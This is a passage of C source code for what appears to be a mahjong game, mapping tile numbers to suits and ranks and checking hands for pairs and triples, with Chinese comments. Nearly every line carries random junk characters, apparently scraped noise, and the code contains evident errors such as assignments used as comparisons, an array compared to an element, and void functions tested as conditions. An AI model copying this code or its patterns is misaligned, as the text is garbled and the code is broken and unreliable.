logoo=6;
! h2 P4 u( Q3 u+ r% T; \. Jelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
8 ]$ O/ q# z- u1 g  M9 tlogoo=7;( P; ~5 O& _" _. Z9 ~1 O+ n. x- F9 U
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)* @3 T) U9 I0 ^' e0 H8 B
logoo=8;
  B( G. b* d& _6 U* v0 a3 J8 zelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
, o- O3 w7 b9 I" _3 ?logoo=9;: s  |- t# t$ m! M* y( H5 n+ I
}. R/ }; f" C9 F( Q
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
2 Y5 Y0 i. N0 C8 M* K7 q+ d* c, U{$ r) b% N2 M. x7 ?2 j/ P1 R" Q
logo=3;
6 q( M7 H  ?6 m( bif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)3 }8 O1 i% ^! b/ e4 c
logoo=1;2 Q! `) P8 z8 \
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
4 i% N8 v  }' s3 F8 U0 \logoo=2;) z# K$ `) Z/ Y
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
+ `  l& x; O0 \8 p' mlogoo=3;
) E! T1 @' ]# Y# P+ yelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
+ n& I& v$ k; ?- l5 Z% q& |8 Elogoo=4;) `: B9 m6 ?6 v$ I- `3 e+ Y& M
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)% R& Q+ @& b$ {% N3 g. ^4 R* Y  X
logoo=5;% G. Y" F5 ]: g; V
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
  a4 x+ ~& i0 `1 Vlogoo=6;
3 c) I. d1 w1 _# C% G6 p, E, n. delse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96), ]! D$ A: D8 y, u$ ~# D
logoo=7;
0 ]5 t8 A( G7 G/ D3 `) U+ p* m) @& _else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
: {# f1 X+ q/ p- hlogoo=8;
; ^3 e4 }; x+ j0 |2 W' D) G# @' @& oelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
  J5 `: ^7 Y' K" o# `$ hlogoo=9;, T& v$ k" g1 [( o! c* K! a
}
/ p& F6 m1 a7 {else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)) n* G% G: X- H8 i
{9 l# V# t6 E' |$ B/ o  A( J
logo=4;
$ g# P# m* I0 J- t' J+ G* A3 B0 T( F$ Xif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
7 y' V. a; n! K$ ulogoo=1;# i0 h# d1 z' ^
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)  @. q2 L: t2 W  m9 _
logoo=2;
! M0 s" w3 M$ Welse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)6 j4 [9 @' _2 O9 N
logoo=3;
& Z/ m4 a% j2 t" g7 ielse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)( o& W6 `8 ]* R7 n
logoo=4;
- x% r& W4 Z& P, T) Gelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
4 ~# }- j* d" i# K1 k1 g) F+ Glogoo=5;
& c# X5 P  g& O/ K1 p' G$ velse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
0 c0 {" ]- |" V  |! b% Tlogoo=6;
: U+ l1 J8 n* E4 \! G% P( ?else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
8 ]' }$ U/ ^5 \  \! Y; Dlogoo=7;' ?, r2 c) h& X; [! Q
}
7 M" Z2 J' ?# a. m3 n9 i2 u6 Xwhile(b&lt;=me.m)& L3 T) N* b, G' Q+ B: O
{% i' ?; ^5 t/ v6 x4 E+ _
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/8 h+ `/ h% Y5 J1 I3 s, L: B+ i
{
1 {: d: o/ z1 F, Klg=1;; L, e2 e" {# c2 a* }5 O
me.pp.d[0]=1;
* `  [: J* A( s/ O) b: {$ Q% yif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
  t$ c" P* S0 t8 P' a$ J{( f5 H* E! `" E0 c7 L8 ]
lgg=1;
7 F" U# z( a3 e: hme.pp.d[1]=1;
- y  I2 m# `3 W1 p2 O}
3 r5 n" c4 J, A% d$ ?5 s- ~0 Helse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)% Q4 f7 z: M/ O4 z: B
{* F. A* [4 M! i/ }
lgg=2;8 A$ X7 i9 O& [5 Y
me.pp.d[1]=2;* y( C  K: O" D  r( x+ |
}* h$ P1 u3 v+ u: C
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
- ]$ A9 v, `* [/ B( ]1 g! N! w{
# y6 a' s) P6 Y" ^; k% rlgg=3;
# a; m* \) ?) X! {  M0 Pme.pp.d[1]=3;
% c6 |1 t- ?, A! ~* s}
% ^. z8 m2 ]6 y- `$ V! y. Uelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)' |5 z& G: q! w
{, |+ U+ o+ R  ]# c
lgg=4;9 c& c4 ~$ }2 ~  {
me.pp.d[1]=4;! }1 a- B# P0 m) w+ F
}: ]- @, b4 }4 w
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)& T% s; z  H% D+ D
{6 w1 m) A: W1 R
lgg=5;
2 w( l/ L" Z& y! W9 s/ Y2 f& Fme.pp.d[1]=5;
7 t* j8 X- [) U8 N) i9 C* ^: w. Y}& U1 U, g/ O' c9 V
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
3 R0 A0 F% U& L- C# j1 l{# \. I3 x# }3 A
lgg=6;, o& h- ]0 W( O! _9 [
me.pp.d[1]=6;" S9 E7 p" ?; m- q, o" k2 Y
}
7 h3 O. ?: p/ A* Yelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)( o8 A. g) w7 @% P2 T$ s
{
. a! ~9 a' q& m# x. B9 jlgg=7;
+ u# j5 W# z# eme.pp.d[1]=7;
( p; b! s$ S% r% d* B; T}$ [- ]! {# W, u
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28); Y" B: b# H' ~! w- E5 q7 s* _/ p
{
2 N3 S* A/ ~! v! olgg=8;
  q) a9 @! h5 o4 x& b- ~me.pp.d[1]=8;
+ q+ g) {$ X+ R4 h  J2 h( M' z}$ x3 k, j$ e! Y! s
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
& T8 Y" ^) t) Z- r6 g& t{
/ }; p, {! U/ ]' k0 c7 dlgg=9;7 X5 l# J* @* Y" N9 b: H" c5 n9 @
me.pp.d[1]=9;) `4 ?. _, a# n- h9 _- |" u0 i" A
}
/ r0 i1 `, a. R* \4 b* _}
9 u3 }# Y3 U2 U2 W* h* `  U  A: Kelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
4 q9 {  b- a) M{; ~7 V9 l( Y7 V+ }
lg=2;) O0 O+ K5 Z. i) h3 }' F: v" |0 T2 Y
me.pp.d[0]=2;) S6 w* M7 B: B4 f6 @% a9 z
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)9 b/ J8 l# j0 n
{
6 }: J; X. |; ~9 K' Slgg=1;4 r: x" G, {$ O* D5 n# h
me.pp.d[1]=1;
6 L2 ]( @# ~2 @. V}3 m/ S3 y3 s" W# q  z/ V  A
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
* \2 D& }8 D( s{
8 Z( M5 ]% n) u! Y: s* [* A/ flgg=2;8 S% T" `$ N# n" P7 I1 l
me.pp.d[1]=2;
5 E" a6 Q" w0 k& S}
; G9 g4 p& X, r- f# `' g# P' Uelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
6 U( w! x- `. X: }3 S6 Y{
& {5 C: }5 u, }6 L" E/ Dlgg=3;
" _. K( W% t; W% U  Q2 V1 ]me.pp.d[1]=3;
9 E, v+ ?# i8 i$ U}
7 p8 ]4 e, y$ u2 yelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
5 M4 J, W& H8 _6 y{; S4 T  u* T! l' T! f
lgg=4;% P' y: ~$ e' y" {3 h: l
me.pp.d[1]=4;: \6 E9 s1 h$ k& Z' Y' A3 v( g
}
0 C, I& Q$ [/ b; {5 l# G  }% \else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)& Y; G# R7 c: K9 X( z% N0 B
{1 g& Q/ K7 _, R$ p/ r
lgg=5;
1 A" G: {+ _2 O+ ~% R! ~( h! Pme.pp.d[1]=5;! M) S; ?7 H# D8 [7 U: e: ]8 x
}0 Z+ {0 G  \) K, b2 Y5 ]& V
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)5 L$ K  k! }& J3 d' }  o
{) X. B6 |' b: f( O7 R& X* D( I" Z
lgg=6;
" E' }8 X/ q, t4 V# }me.pp.d[1]=6;. M# v. g* }- n6 y
}
8 ]4 g7 u' ?8 J8 Velse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)0 t6 ?2 Z8 R* s8 |; ?6 c6 h! T/ K
{% u* u9 D" F& K* S% T
lgg=7;) n  t" H% B. c- l5 j
me.pp.d[1]=7;
9 `2 {; J& {* t. P. i}$ V7 R& U( V7 y; M  g
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64): l) w/ P* V2 K1 S9 N" o
{
! w) s( k- y: I" E3 p# {lgg=8;
! m; R- B' u- M( r! Cme.pp.d[1]=8;  o$ Y8 p5 S  W* V- [
}. f6 a2 }0 A4 x2 C) L" D( ^9 \
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
# w6 W5 B2 d. C) f0 O3 g! B{
+ l+ }+ U  g( u3 f! O* Elgg=9;) F3 ~$ ]7 k; e
me.pp.d[1]=9;6 R1 C2 `! h. E$ ]5 J' N9 F! O8 M  _
}
8 W( |% }# d9 ?6 T& P% [) V! h) |}
) @4 V$ D# v+ U  `else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72); ^: B/ [  E0 B) D- d7 ?% [5 G. x
{; n  N1 v5 }2 O3 K
lg=3;* K, [3 E# y+ v( \! f  ~
me.pp.d[0]=3;
3 Y6 p! m2 j4 z2 z! A" ~$ ?/ u8 zif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
& M$ H" h+ H+ T& K% ^* T' b/ |{
: p6 x$ g' n* R: ]8 L! M  llgg=1;
+ N0 l) V# V8 m! X4 X( Qme.pp.d[1]=1;. o. J% e7 f7 t3 _
}. X1 n5 Z' U, R5 a# Q/ Y5 W3 ~  t
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
$ _4 r, `6 K7 B; n+ N  |{
8 J, X" t0 |$ r  `! ilgg=2;$ ~$ D/ |8 e4 Q7 o
me.pp.d[1]=2;
- m- P2 {9 d  f6 |}
  T  t- [& D1 v+ o  O- helse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
' R0 U% K+ ?$ d/ H8 A{" M9 K# F! T$ @0 o7 H, O* z
lgg=3;
. h+ S! L; T* u, p) D! ~! ]me.pp.d[1]=3;2 D1 w2 n. r& R& U7 Q" ?
}! K# \4 u# j- I: ~! p  |
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)+ x" a0 y" @: j" u. Z  x: U0 y+ G
{
  R$ q( R2 R; P* Slgg=4;
. w/ a1 @# U" F8 eme.pp.d[1]=4;& R& m' J- f  R, ^2 Q3 e
}9 b  L  T, \& o, g; H# \
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)$ U- w8 k8 J) P4 @4 {1 s' S
{
4 h3 {5 Y. U( a4 f# o, `& `lgg=5;; [9 X6 t/ `; g/ N
me.pp.d[1]=5;# }, M/ A. X/ h" w6 x* ?$ w
}
5 `& Y' G$ y* x: Welse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92). J, \& o" [3 }/ @$ F2 k
{& G; q( q) y5 b5 e" U3 m
lgg=6;
* ?6 I: t5 ?# _+ c* H* Yme.pp.d[1]=6;
, t' s& Q7 ~% y& j: I}7 O( ^5 t# c) [9 A9 H; W7 v
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
& ]( C# h2 k, w) u) w: j{3 |0 i/ J+ d  D* |. F! K
lgg=7;
5 ]2 B) ]3 F% q% `$ Ome.pp.d[1]=7;
) E& d) A/ P6 v' E; u}
0 [; I& }+ E) s9 \, H! r1 ~else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
- b0 e" X, v/ `$ R0 Z. }{9 u7 `) k* c4 ^/ P- K  H9 m1 u; O: y
lgg=8;
* Q( x& j  ^* o4 M% t. s  gme.pp.d[1]=8;2 ?) P6 X7 d* K( u- b
}
# M$ `1 @7 J* F5 m  jelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104). B, p  s2 Q! s0 ^# Y% W) V# Z3 s
{
* X( ~1 l4 g$ [* Y' f( T$ wlgg=9;
  E2 y- [* v* m/ S5 y  F: ~me.pp.d[1]=9;1 q% t2 l1 I. H( c; \
}
( A; p* Y  ]  p% |4 _}1 U  h( s9 o; s( E
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108), }. |8 M$ ]) W! ?8 P
{
$ C- s3 k3 c9 O# I) w" Klg=4;; c$ r- Z6 S) [0 W( J
me.pp.d[0]=4;2 N1 J: b9 j+ }
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
- j4 a2 L: @' d: k: M% T  B{
! T& \' X( Q( L! v7 U" rlgg=1;
5 f* H$ D- U0 i1 J: ~# wme.pp.d[1]=1;. I/ E0 t+ _: \4 |6 ?$ i
}+ F  J6 r) h9 O* D4 J, n" P7 F+ F
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)  S# l) J- L' T4 t7 @7 T4 _' d
{7 U& I6 q0 N. C, g/ S6 C+ D: l
lgg=2;2 v- P& s' y0 r" }$ b
me.pp.d[1]=2;4 W  U( J6 T6 |
}4 d3 G9 E7 r2 t% Q+ q; e2 H, C# E
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
; F% {1 d8 d5 |* z4 s3 {{
9 P7 P* x2 p7 s& G# ~lgg=3;) P# N3 x0 Z2 r, i
me.pp.d[1]=3;! C( D0 |0 V; l: t1 B
}
8 I1 Y. \5 I- o8 B1 I/ b& eelse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)! @4 I$ q; e6 z/ p1 V0 k
{( Q3 A2 V; Q" }
lgg=4;
# M5 H1 x( A+ m0 n# P0 b* ^: U! H* cme.pp.d[1]=4;
# N9 E& ]: Q% [- t}  r3 w% e0 K) n
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
3 ^6 P, U- {) G' Y# t{
. y  Z# K& e- B6 g; |. Elgg=5;+ T1 t1 }9 p4 D, |
me.pp.d[1]=5;
" O% y, H" o1 D0 i" G7 D2 ]; T}7 {) }; S  ?7 v  h& v/ S/ x
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
3 v% c- X  \" R{  s! I2 E8 `3 a& T2 I0 W" T
lgg=6;
& _  J8 I' F, Dme.pp.d[1]=6;
* D$ z4 O  T- [; i% ]6 r}
" P0 I2 |, u( F+ k$ G' ^& welse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)3 V# T, E# J+ X
{6 u" d: K% X! U1 g. S) j
lgg=7;
/ C: Q, g; U9 v2 Jme.pp.d[1]=7;% P( n% W( J3 @' y6 }
}
; ^7 k6 x6 ?# U: x! i}
  |. h- h% m4 q& q3 B3 V}
# @6 M) m3 l& G/ @}( U) {& f" H" Q! f: ?! J+ @3 s
void istwo(testt)
  T9 q+ n3 g- p7 \! v5 i: eint testt[];
4 S  s& O+ p- j* C3 S& o, ~- S" J{ if(testt[0]==testt[1])
3 X' V' T* \& E  jsecond++;
/ ]+ `1 l; I: O/ J- o}- L+ J8 u) K$ M1 D
void isthree(testt,n)* l+ D# O. p6 E4 s( b1 P- N+ S
int testt[],n=0;
. s# C3 Y% @( g{ int i,j,flage=0,lianx=0,same=0;
, K2 W* K9 o; o2 i+ u/ ?5 t" Jn=n/3;; Z" j  {3 x2 K5 t! y
for(j=0;j&lt;n;j++)
( @8 k) U* A  J! x7 D# l! e{
) j1 N0 \% s: wfor(i=j*3;i&lt;2+j*3;i++)
5 u- B2 {' n, ?, E$ Y{
# e. h* e+ ^8 p" P0 Lif(testt==testt[i+1])
, p9 v" X) P0 Ssame++;
6 t7 H) o% d* `9 y7 @$ T7 H5 X& qif(testt[i+1]-testt==1)) k  p& ~0 ]- c. L' v# E
lianx++;1 V2 v" |" C- e8 ?: S
}
  G' E! D+ K3 U2 V3 Jif(same==2)7 r( K8 E% e. ?1 k- o& L
threes++;
" Q% |" \" [( C3 ]2 r5 \if(lianx==2)
+ }9 f+ Y$ N9 Y! m) Rthrees++;2 r6 W# K' ?" Q! G9 a7 b
same=0;% z& P2 C$ v) J( T/ _1 T. M
lianx=0;
" z1 q/ g8 ^% F* V& X5 m* c. _  X2 r}
4 }* U2 P5 b8 n4 L2 h}
0 N6 M+ f7 D  `2 u" lvoid panduan() /*本程序的精髓*/  i. v7 B; I: p- t+ n6 l
{int data[14];* J0 z$ J9 L( |, M# b
int pw[14];- K  B- O5 ]5 H- b3 G; |
int pt[14];/ n: ?, O1 G9 n- X- A1 I2 A
int pi[14];
  `' h/ m4 e# M$ R% ^  w/ Jint pf[14];
; q( Z/ _% t( g9 q3 W4 w, r) sint test[12];' v) V& J( U/ H7 x! G
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;, E" X2 C$ ~! o0 s
for(jj=0;jj&lt;=me.m;jj++)
# s. J. x$ y, x" T& a  |{
" f  l# G8 v) E# ~' I0 k% q' Xif(me.pp[jj].d[0]==1)
6 r% j; L& @% ^1 `" O1 jdata[jj]=me.pp[jj].d[1];  q3 a; o) F, o' i
if(me.pp[jj].d[0]==2)# t% R% Y- E: J  F' k
data[jj]=me.pp[jj].d[1]+10;
5 |% W% J, T9 k% nif(me.pp[jj].d[0]==3)# k4 w  U0 j! N
data[jj]=me.pp[jj].d[1]+20;2 s1 z: b+ i. t$ S0 z( L! Y
if(me.pp[jj].d[0]==4)* p0 {/ E0 o  ]7 L, K6 G
data[jj]=me.pp[jj].d[1]+30;* O. f- L8 W1 a( e7 e2 u
}3 D; E  V( M) U' s  J3 h( ?
if(logo==2)
9 p" c$ [7 [) U$ N1 rw=logoo+10;5 |) m1 n  {' f
if(logo==3)4 u/ s; u# h8 @; R/ c
w=logoo+20;+ H! U+ ~7 W- R; e5 n& M
if(logo==4)
; y4 d- V8 O" Kw=logoo+30;; F: b1 x# X% e1 ~1 H( f: \
data[computer.m+1]=w;
& h! J7 x( b. d6 W4 O: [$ Y1 Afor(mm=0;mm&lt;=computer.m;mm++)
$ G/ B& k: [# m3 y6 G" jfor(nn=mm;nn&lt;=computer.m;nn++)# D4 `0 G0 p1 g5 O2 D
if(data[mm]&gt;data[nn+1]): f- C) Y  O" u6 A' `' p) b
{; j% [: y) m: g
tpp=data[mm];/ ?4 v2 j4 B% E/ J3 e' g3 h
data[mm]=data[nn+1];
; v( I7 w# W, K8 n; {; W3 D9 Edata[nn+1]=tpp;6 b1 E, U6 _. L2 r9 o: D# d, r* a
}+ `: C  z7 s: w; O
lp=0;
- I- i( r1 s. R' w4 C# m3 ?' f) Q1 \while(lp&lt;=computer.m)9 J* G  Q3 d( m$ m
{ if(data[lp]&lt;10)
/ a" d; [3 {! Y" D: Y. |5 D' {pw[ww++]=data[lp];
* T0 @* E6 x2 ~if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)) P1 X: @- D4 _1 r' X0 u! o1 g- Z+ c
pt[tt++]=data[lp];3 O# D; c/ ~% o3 ?; l
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)- w: J0 N. C$ u' G; h! J+ E
pi[ii++]=data[lp];* o& L) v! z' S8 u+ K% u0 L
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
# i& k& V8 ^% W  ?$ W9 n9 ipf[ff++]=data[lp];
6 x) r( T* K; ?% ~- k, o1 ]# Mlp++;0 x3 n5 \! L: V' i- f. q# `
}
. R6 p2 q+ J. P8 l1 ^if(ww==2)1 l* M. b# d" Y% }5 T7 ]% R
istwo(pw);
/ V( J: m/ s3 d; H/ B0 I2 h3 Selse if(ww==3)) o6 h( ^5 F& ^1 T' i2 x
isthree(pw,ww);8 W& e, v! i  e) f6 H% `+ s
else if(ww==5)* C( @7 Z0 |( a6 w9 n5 g# J
/*pw[5]原始牌数组,假设已经升序排列*/
0 P* }/ O4 j: W, ]7 ^% W- ?+ s/*test[3]用来放置测试牌的数组*/6 J% {* z; f8 R; F1 J" u5 |. U
for(i=0;i&lt;4;i++)8 U! n2 {, u: f$ m- q; y; v# e
{; T1 i" R% y$ A; n/ S/ J$ o* U( A" R
for(j=0;j&lt;2;j++)( ^, @5 K6 j  @+ r9 j( c$ N2 ^
{test[j]=pw[i+j];; P4 ?" ~4 K( l) m/ ^7 G1 Q$ [2 V
}
* l7 Z5 w! n) \& n) `6 {if(istwo(test))
8 n/ A( q  H0 j) D5 S{ ill=0;
, N- R% x, N# J/ i/ Qfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
9 Z/ L4 M1 ^/ A{if(kl==i)* T5 z5 U! z# d2 n. y, C
{. R4 r+ [" M' R% \, V
kl=kl+2;4 d/ V0 ^' x' ?
if(kl==5)
2 O2 N! t( T% T- U7 c  ?break;
+ O* e1 L$ @7 D$ K, V2 q0 `/ g- V}! {  b. A5 ^* M0 F; ~3 [
test[ill++]=pw[kl];
* t& I0 q/ U# E. {0 |2 b) X}
6 i& P5 w) k% i5 w' misthree(test);
* Y! {  e4 F! U& y8 ~5 x0 D}& S1 j- M* T3 X  l
}( h# Z! m8 e7 y2 X- ~9 @
else if(ww==6)2 X; l- L2 b: ^7 }: Q
isthree(pw,ww);
- C/ h6 B" h4 M/ [  a/ A' k  t5 zelse if(ww==8)
" d; Z7 m8 X7 V! O/ \. Xfor(i=0;i&lt;7;i++)
+ D, m% N( _; Z* n{
+ }/ |+ S+ E7 u1 ]* C/ G& Mfor(j=0;j&lt;2;j++)
$ g! c/ N, |( h7 B, J7 c9 F( c& Z{test[j]=pw[i+j];
" }2 j* Z, }; [9 m" \! ?/ C}5 Q6 R6 }. X! m& L
if(istwo(test))
% V5 m( y- F8 N5 M{ ill=0;
/ b: K: U* A) O; T2 Vfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/0 y4 C4 \! |$ j* v+ i
{if(kl==i)! b2 J) d. j/ [: l' T: g: e
{6 d. S9 f5 H: v+ V
kl=kl+2;
# ~# y1 h8 q! B1 xif(kl==8)" O1 v* M  }; t+ Z
break;
& r+ }, j' ^/ x) |}+ e5 b" {: S) B5 y! g9 Q
test[ill++]=pw[kl];
/ l! n& z+ g4 k7 U* y}( r. h# C# i9 m3 m  {& A) i
isthree(test,ww-2);
* v3 D/ V0 V- E" g4 t}2 w! C6 ^! G  W/ X: L
}
9 t$ r3 w; a" R. _/ I$ Pelse if(ww==9)2 E9 e% l2 g( N3 [4 J! w7 j
isthree(pw,ww);
- T3 h- S+ U; W( w# r: relse if(ww==11); a9 u# F& L# {1 {
for(i=0;i&lt;10;i++)
+ }  {# l7 Z3 E4 Z. i# H; I{
5 `' o9 I: l* r- P# rfor(j=0;j&lt;2;j++)
# k& k. V+ [# O5 k* z{test[j]=pw[i+j]; 7 ^$ o0 {( z* H+ U( a
}1 y  z5 }/ }+ r$ h
if(istwo(test))0 y' z9 S4 i7 t% c! m# v& b/ X
{ ill=0;
1 W4 J; K3 v' r+ ffor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
% E! Z9 C3 u* M4 R{if(kl==i)1 G( U4 K* x) u% n
{
+ J3 F$ b  M& p" [  ]kl=kl+2;
, ]3 D6 Y4 \: x# r& W7 }if(kl==11). r, A# V" I% ?
break;
9 h, {- U% I1 u1 O}: u5 N' r6 w% B5 L! u' ?7 s
test[ill++]=pw[kl];3 C4 w6 d! |  h8 a1 S: N+ |, ?3 [
}
; U* X8 u4 n* y* Cisthree(test,ww-2); / i3 G8 u3 R  n8 `) m6 I
}
# D( f3 b" o; u0 u) Y" x} 0 C1 z! ~: r" [/ b
else if(ww=12)
8 Y  k& X* }7 ~6 B, e8 Bisthree(pw,ww);1 L" S- `8 b4 v( i) x$ P8 n
else if(ww=14)" Z! g+ E) Y. @! \8 m' H
for(i=0;i&lt;13;i++)
! g8 V5 J' {+ c0 [{% f3 l3 o, W+ B: T! c& q5 s
for(j=0;j&lt;2;j++)
; E" |6 W( v. \5 N; u' _{test[j]=pw[i+j];
. B% c& i9 i9 `% \  I}' o# q$ J" Y* c( N7 _1 Y3 G
if(istwo(test))
7 n6 c1 t0 B+ {{ ill=0;
" f2 B* F: W# w% p6 {2 wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/* e8 d0 E$ |5 ]
{if(kl==i)
9 x9 {: l: E2 [* e; |2 ?{
  D  N& d& z4 C9 Q8 \5 Vkl=kl+2;
2 f  k( [- Q# p2 Bif(kl==14)
& A; k- x! h# a' |& G6 bbreak;% Z/ d" Z6 N/ j0 e; N
}- k) t9 ~4 _7 ]
test[ill++]=pw[kl];$ ?2 a% p7 j% p! w6 x1 p( e
}
( A# U. ?$ m0 i, d9 G$ F9 Nisthree(test,ww-2); " t% }6 G1 d( c% @$ f6 y  D0 P
}
1 y# M; |5 I4 ?* @8 g1 V: T# I# M}
% b% E7 e" X$ Y. s, q4 @( fif(tt==2)
! F7 v" o( Y2 v2 K6 B& Iistwo(pt);) d& b" E1 k  A, y: t
else if(tt==3)
/ k* U' I, A( L% visthree(pt,tt);
( T5 \* ~- s" C# ielse if(tt==5)) F2 F2 @7 l3 _0 r5 A0 e' U% \
/*pt[5]原始牌数组,假设已经升序排列*/
, k+ g9 l; i  |" [! G/*test[3]用来放置测试牌的数组*/
; `5 m8 Q9 h( C) I% g' Hfor(i=0;i&lt;4;i++)
+ L$ G: J# _0 n$ \  F0 _{
8 H+ ~3 r* J; yfor(j=0;j&lt;2;j++)" P' o+ z* w" G1 B# s; y
{test[j]=pt[i+j]; ' R4 e$ j" |4 \
}
3 v+ Y0 D4 E0 x" L$ {- oif(istwo(test))
2 y: O' V3 w0 w3 I/ S+ W& J0 S{ ill=0;; M* `+ W: T3 S! y1 |
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
% D# k- [% e& Q1 z: X! o* m0 b{if(kl==i)
) ]* _7 P) x  l1 f1 l{
% ~1 Y, \5 b7 C  T8 t3 ukl=kl+2;$ M* N: s6 U1 b1 i8 z1 Y
if(kl==5)
4 u& ~( a! Q. s9 [, Y4 lbreak;
, e) }, ~: [: x6 D$ y}
$ y- s  H: F0 ]$ D0 e% a5 y; ^" }5 j( ?test[ill++]=pt[kl];
  `+ H5 _, q% `* ^7 E  o+ Q' K/ g7 V( W}
5 Q  ]3 }1 o" f/ Fisthree(test);
+ G7 {) t# Z. X+ ^: H5 O/ N& g1 a" l}" ?, F  j6 l; x) N
}
6 ^( e% a. ?. K! Xelse if(tt==6)  u, o( ?! G* H% R
isthree(pt,tt);
' h2 t+ V+ L2 `5 xelse if(tt==8)- [2 }* Y. x8 g. {+ Z3 [
for(i=0;i&lt;7;i++)
& H) Q8 a: j' d/ V) Q; X" F{  b% U: V! L! _9 I* d, S: q
for(j=0;j&lt;2;j++)5 H" u4 D1 [/ x6 v0 H
{test[j]=pt[i+j];
" ?- M( L7 }* ~$ d4 U) f  t8 P}& d' `) @# n* g( n8 ?* ?' Y" j& h
if(istwo(test))# B& x8 H; n! ]$ |, E
{ ill=0;& |6 T# G, u: @( i% a7 e
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/% b; ^$ |7 O$ W% t9 j. j* \
{if(kl==i)3 c$ B4 L6 h" N3 m' P
{3 E0 x* |* Y- c9 I  t; O3 ~6 x
kl=kl+2;3 v% H6 F1 g% M9 ^, z
if(kl==8)2 W, `: E0 k6 R6 a" K0 k6 M$ v9 B
break;" B' s* E+ l$ ~
}
% O) v* [" v' ktest[ill++]=pt[kl];+ \) \8 L' C& ]- ]
}
! _3 m5 ^  ^+ m4 C3 B/ gisthree(test,tt-2); - A/ a  x& @% Q* x5 X- \
}' B, L0 I: l; W, }& \; M
} : U8 c' ^+ k+ ]/ G/ l  t
else if(tt==9)9 R$ D" \6 @9 `0 C& c$ f" A
isthree(pt,tt);
9 E, ^% N' @: {- x; telse if(tt==11)7 K3 J! m: G- N! N3 C- d; I
